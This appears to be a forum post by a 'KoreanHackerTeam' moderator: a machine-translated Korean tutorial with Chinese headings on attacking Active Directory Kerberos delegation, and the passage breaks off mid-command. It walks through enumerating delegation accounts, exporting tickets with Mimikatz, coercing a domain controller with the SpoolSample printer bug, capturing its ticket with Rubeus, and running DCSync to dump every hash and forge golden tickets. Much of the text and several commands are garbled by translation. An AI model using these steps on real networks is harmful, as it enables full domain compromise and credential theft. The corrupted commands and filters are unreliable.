KoreanHackerTeam
Moderator
基于域委派的攻击
1 域委派相关定义
1.1 定义
신분 위임은 관리자 지정 계정이 사용자를 가장 할 수 있도록 활성 Director Ry Federation Services (AD FS)의 기능입니다. 사용자를 가장하는 계정을 삭제 게이트라고합니다.이 대표단 기능은 원산지 요청에 대한 권한 부여 체인에있는 각 응용 프로그램, 데이터베이스 또는 서비스에 대해 순차적으로 이루어져야하는 일련의 액세스 제어 점검이있는 많은 분산 응용 프로그램에 중요합니다.
웹 애플리케이션 "프론트 엔드"가 Microsoft SQL Server 데이터베이스에 연결된 웹 서비스와 같은보다 안전한 "백엔드"에서 데이터를 검색 해야하는 많은 실제 시나리오가 존재합니다.
Domain Delegation은 대형 네트워크에 종종 배포되는 응용 프로그램 모델로, 멀티 홉 인증에 큰 편의를 제공하며 훌륭한 보안 위험을 초래합니다. 대표단은 도메인 관리자 권한을 얻고 심지어 숨겨진 백도어를 만들 수도 있습니다.
도메인 대표단은 도메인 내 사용자의 권한을 서비스 계정으로 위임하는 것을 말해서 서비스 계정이 사용자 권한으로 도메인 활동을 수행 할 수 있도록합니다.
정보
도메인에서 위임 할 수있는 두 가지 유형의 계정이 있습니다 :主机账户(순 컴퓨터). 다른 하나는 SetSpn과 함께 수동으로 추가 된 서비스 계정 (NET 사용자)입니다. 제한되지 않거나 제한적이든, 호스트 계정의 예는 호스트 계정의 예입니다. 호스트 계정을 사용하는 환경은 일치하기 쉽고 이해하기 쉽기 때문입니다. 그러나 서비스 계정 및 호스트 계정은 공격 대표단의 관점과 동일합니다.
도메인의 사용자 유형 인 서비스 계정 (서비스 계정), 서버가 서비스를 실행하고 서비스를 실행하고 도메인에 가입하는 계정입니다. 예를 들어 MS SQL Server가 설치되면 도메인 내에 서비스 계정 SQLServiceAccount를 자동으로 등록합니다. 이 유형의 계정은 대화식 로그인에 사용할 수 없습니다.

도메인의 일반적인 사용자 잭이 Kerberos 프로토콜을 통해 전경 웹 서비스에 인증 된 후, 전경에서 웹 서비스를 실행하는 서비스 계정 WebSVC는 사용자 잭을 시뮬레이션하고 Kerberos 프로토콜을 사용하여 백그라운드 서버를 사용하여 백그라운드 서버에서 잭 사용자의 액세스 권한을 계속 인증합니다.
1.2 流程
도메인 사용자 Jack은 Kerberos 메소드를 인증하여 웹 서버에 액세스합니다.웹 서비스는 WebSVC 서비스 계정과 함께 실행되며 WebSVC는 Jack 사용자의 티켓 응용 프로그램을 KDC에 시작합니다.
KDC는 WebSVC 사용자의 대표단 속성을 확인하고 설정된 경우 Jack 사용자의 전달 가능한 송장 TGT를 반환합니다.
WebSVC가 Jack User TGT를 수신 한 후 티켓을 사용하여 Service Ticket ST의 KDC에 신청하여 파일 서버에 액세스합니다.
KDC는 WebSVC의 대표단 속성을 확인합니다. SET과 파일 서비스가 허용 된 목록에 있으면 Jack 사용자가 파일 서비스 st에 액세스하도록 권한 부여 티켓을 반환합니다.
WebSVC에서 수신 한 Jack 사용자의 권한 부여 티켓 ST 후 파일 서비스에 액세스하고 멀티 홉 인증을 완료 할 수 있습니다.
1.3 委派类型
도메인 : 내에 구현을위한 세 가지 주요 응용 프로그램이 있습니다.먼저, 제한되지 않은 대표단 (구속되지 않은 대표단)에서 서비스 계정은 사용자의 TGT를 얻을 수 있으므로 서비스 계정은 TGT를 사용할 수 있으므로 사용자의 서비스에 대한 액세스를 시뮬레이션합니다.
두 번째는 Kerberos의 확장 프로토콜 S4U2Proxy 인 제약 대표입니다. 서비스 계정은 특정 사용자의 ST 만 얻을 수 있으므로 특정 서비스에 액세스하는 사용자 만 시뮬레이션 할 수 있습니다.

2 非约束委派
2.1 原理
서비스 A의 서비스 계정 B가 제한되지 않은 대표단으로 설정된 경우, 사용자 C가 Kerberos 인증을 통해 서비스 A에 액세스 할 때 KDC는 서비스 계정의 속성을 확인합니다. 이러한 방식으로 B는 ST를 확인하면서 사용자 A의 TGT를 얻으므로 사용자 A가 사용자 A의 모든 서비스에 대한 액세스를 시뮬레이션 할 수 있습니다.
위임이 활성화되면 사용자의 userAccountControl 속성에 추가 플래그가 있습니다.

제한되지 않은 대표단의 설정에는 SeenableDelegation 권한이 필요하며, 일반적으로 도메인 관리자에게만 부여됩니다.
2.2 实战
2.2.1 非约束委派的查找
2.2.1.1 adfind
查询非约束委派的主机:adfind.exe -b 'dc=pentest, dc=com'-f '((samaccounttype=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))'CN DistoingName

查询非约束委派的用户:
adfind.exe -b 'dc=pentest, dc=com'-f '((samaccounttype=805306368) (userAccountControl:1.2.840.113556.1.4.803:=524288)'cn Distoingname
2.2.1.2 powerview
참고 : PowerSploit-Dev 브랜치查询配置非约束委派的用户: get -netuser -Unconstrained -Domain pentest.com
查询配置非约束委派的主机: Get -Domaincomputer -Unmonstrained -Domain Pentest.com

2.2.1.3 ldapsearch
정보도메인에있는 모든 사용자의 계정 비밀번호가 필요합니다.
查询非约束委派的机器:LDAPSEARCH -LLL -X -H LDAP: //172.16.147.1303:389 -D '[email protected]'-w '123456by'-B DC=Pentest, DC=COM '((samaccounttype=805306369) (userAccountControl:1.2.840.113556.1.4.80:=524288))'CN DistinguishedName

查询非约束委派的用户:ldapsearch -lll -x -h ldap: //172.16.147.1303:389 -d '[email protected]'-w '123456'-b dc=pentest, dc=com '((samaccounttype=805306368) (userAccountControl:1.2.840.113556.1.4.80:=524288))'CN DistinguishedName
2.2.2 非约束委派的利用
2.2.2.1 管理员模拟访问
정보실험 전에 메모리의 청구서를 지우는 것이 좋습니다.
관리자를 시뮬레이션하여 비 결국 대표단의 SMB 서비스를 호출하십시오.
제한되지 않은 대표단으로 돌아가서 티켓을 확인하십시오 (部分截图) :
1
2
권한 3:debug
Sekualsa:tickets

Tgt는 가로 채고, 우리는 Sekurlas33333:tickets /내보내기를 사용하여 티켓을 수출했습니다.

현재 도메인 제어에 대한 우리의 액세스는 거부됩니다.

그런 다음 Mimikatz의 Kerberos33333


성공적으로 액세스 할 수 있습니다.
명령을 실행하려면 WinRM 서비스를 사용하여 도메인 제어 서버에 원격으로 연결할 수 있습니다.
enter -pssession -computername dc

2.2.2.2 Spooler Printer Bug
실제 전투에서는 관리자가 적극적으로 연결하도록 제한되지 않은 대표단을 보내는 것이 시간 낭비입니다. 따라서 제한되지 않은 대표단 + Spooler 프린터 서비스는 지정된 호스트가 연결하도록 강요 할 수 있습니다.활용 원리 : Windows 인쇄 시스템 원격 프로토콜 (MS-RPRN)에서 구식이지만 기본 활성화 된 메소드를 활용하여 도메인 사용자가 MS-RPRN RPCREMOTEFINDFIRSTRINGCINTECHANGENOTIFINE (EX) 방법을 사용하여 스풀러 서비스를 실행하여 Kerberos 또는 NTLM을 통해 공격자가 선택한 대상을 인증하도록 강제 할 수 있습니다.

POC : https://github.com/leechristensen/spoolsample
DC의 Spooler Service에 요청을 보내고 인증을 위해 Win7에 액세스하도록 강요하십시오. Spoolsample.exe DC Win7
Rubeus를 사용하여 이벤트 ID 4624가있는 이벤트를들을 수 있으므로 도메인 제어를 가능한 빨리 가로 채울 수 있고 DC의 로그인이 1 초마다 모니터링됩니다 (로컬 관리자 권한이 필요합니다) TGT : Rubeus.exe Monitor /Interval:1 /FilterUser3360DC $
注: Rubeus.exe에 의해 캡처 된 TGT는 Base64 인코딩되었지만 디코딩 할 필요는 없습니다. Rubeus는 Base64 인코딩 된 티켓을 메모리에 직접 주입 할 수 있습니다.
TGT를 얻은 후 PTT를 사용하여 티켓을 현재 세션에 주입 한 후 DCSYNC를 사용하여 도메인 제어에서 모든 사용자의 해시를 내보낸 다음 KRBTGT 사용자의 해시를 사용하여 금 음표를 생성 할 수 있습니다.
1
2
3
Kerberos33333

lsadump33333:dcsync /domain:test.local /all /csv
3 约束委派
3.1 原理
제한되지 않은 대표단의 불안으로 인해 Microsoft는 Windows Server 2003에 제한된 대표단을 도입하고 Kerberos 프로토콜을 확장했으며 S4U가 SELF (S4U2PROT) 및 사용자에게 서비스를위한 서비스를위한 서비스를 지원하는 두 개의 하위 프로토콜을 지원하는 S4U를 도입했습니다. 사용자를 대신하여 KDC에서. S4U2Self는 Kerberos 서비스 티켓 (ST) 자체를 요청할 수 있습니다. S4U2Proxy는 사용자 이름으로 다른 서비스의 ST를 요청할 수 있으며 제한된 대표단은 S4U2Proxy 확장의 범위를 제한합니다.S4U2Self 및 S4U2Proxy에 대한 요청 프로세스 (Microsoft Manual의 그림) :
1-4 단계는 S4U2Self 요청의 프로세스를 나타내며 5-10 단계는 S4U2Proxy의 프로세스를 나타냅니다.

사용자는 서비스 요청을합니다 1. 사용자는 인증되었지만 Service1에는 사용자 인증 데이터가 없습니다. 일반적으로 이것은 Kerberos 이외의 다른 수단을 통해 인증이 확인되기 때문입니다.
S4U2Self 확장을 통해 사용자 이름으로 KDC에서 Service1에 액세스하려면 ST1을 요청하십시오.
KDC는 사용자 인증 서비스를 위해 ST1 A ST1로 반환하며, 여기에는 사용자 인증 데이터가 포함될 수 있습니다.
Service1은 ST에서 인증 데이터를 사용하여 사용자의 요청을 충족시킨 다음 사용자에게 응답 할 수 있습니다.
참고 : S4U2Self는 사용자에 대한 정보를 Service1에 제공하지만 S4U2Self는 Service1이 사용자를 대신하여 다른 서비스를 요청할 수 있도록 허용하지 않습니다. 현재 S4U2Proxy의 차례가 그 역할을 수행 할 차례입니다.
사용자는 Service1에 요청하여 사용자로서 Service2의 리소스에 액세스해야합니다.
Service1은 사용자에게 사용자 이름으로 KDC에서 Server2의 ST2에 액세스하도록 요청합니다.
요청에 PAC가 포함 된 경우 KDC는 PAC의 서명 데이터를 확인하여 PAC를 확인합니다. PAC가 유효하거나 존재하지 않는 경우 KDC는 ST2를 Service1로 반환하지만 ST2의 CNAME 및 CREALM 필드에 저장된 클라이언트 ID는 Service1의 신원이 아니라 사용자의 신원입니다.
Service1은 ST2를 사용하여 사용자 이름으로 Service2에 요청을 보내고 사용자가 KDC에 의해 인증되었다고 결정합니다.
Service2는 8 단계의 요청에 응답합니다.
Service1은 5 단계에서 사용자의 요청에 응답합니다.
바인딩 대표단으로 설정되면 userAccountControl 속성에는 trusted_to_auth_for_delegation (T2A4D)이 포함되어 있으며 MSDS-OxceredTodeLegateto 속성은 어떤 프로토콜로 설정되어 있습니다.


이를 통해 제약 조건 대표단이 다른 사용자의 활성 요청이 사용자를 시뮬레이션하기 위해 필요하지 않음을 알 수 있습니다. 제약 조건 대표단을 구성하는 사용자가 얻을 때 해당 대표단 호스트를 구성 할 권한을 얻을 수 있습니다.
3.2 实战
3.2.1 约束委派的查找
3.2.1.1 adfind
查询约束委派的主机:adfind.exe -b 'dc=pentest, dc=com'-f '((samaccounttype=805306369) (msds -allowedtodelegateto=*)'cn distinguishedname msds -allowedtodelegateto

查询约束委派的用户:
adfind.exe -b 'dc=pentest, dc=com'-f '((samaccounttype=805306368) (msds -allowedtodelegateto=*)'cn distinguishedname msds -allowedtodelegateto
3.2.1.2 powerview
查询约束委派的主机:get -domaincomputer -trustedtoauth -Domain test.com -properties distinguishedname, userAccountControl, msds -allowedTodelegateTo
查询约束委派的用户:
get -domainuser –trustedtoauth-Domain qiyou.com -properties distinguishedname, userAccountControl, msds -allowedTodelegateto | fl
3.2.1.3 ldapsearch
查询约束委派的机器:ldapsearch -lll -x -h ldap: //ip:389 -d '[email protected]'-w '123456'-b dc=펜스트, dc=com '((samaccounttype=805306369) (msds- msds -allegetoedtoedtodetodetodtoedtoedtoedtodetodtoedtoedtoedtodtoedtodtoedtoedtoedtodtoed. DistinguishedName MSDS-OXTEDTODELEGATETO
查询约束委派的用户:ldapsearch -ll -x -h ldap: //ip:389 -d '[email protected]'-w '123456'-b dc=pentest, dc=com '(samaccounttype=805306368) (msds -allowedtodelegeteto=*))') ') msds-allowedtodelegateto
3.2.2 约束委派的利用
3.2.2.1 常见情况
제한된 대표단의 경우 서비스 사용자는 특정 사용자 또는 호스트의 서비스 ST 만 얻을 수 있으며 시뮬레이션 된 사용자 만 사용하여 특정 서비스에 액세스 할 수 있으며 사용자의 TGT를 얻을 수는 없습니다. 제한된 대표단을 활성화 한 사용자의 일반 텍스트 비밀번호 또는 해시를 얻을 수 있다면 S4U 요청을 위조 한 다음 서비스 사용자가 계정의 권한으로 서비스 ST에 액세스 할 수 있습니다.先抓出主机账户的 NTLM Hash 值:Mimikatz.exe '권한 3:debug' 'sek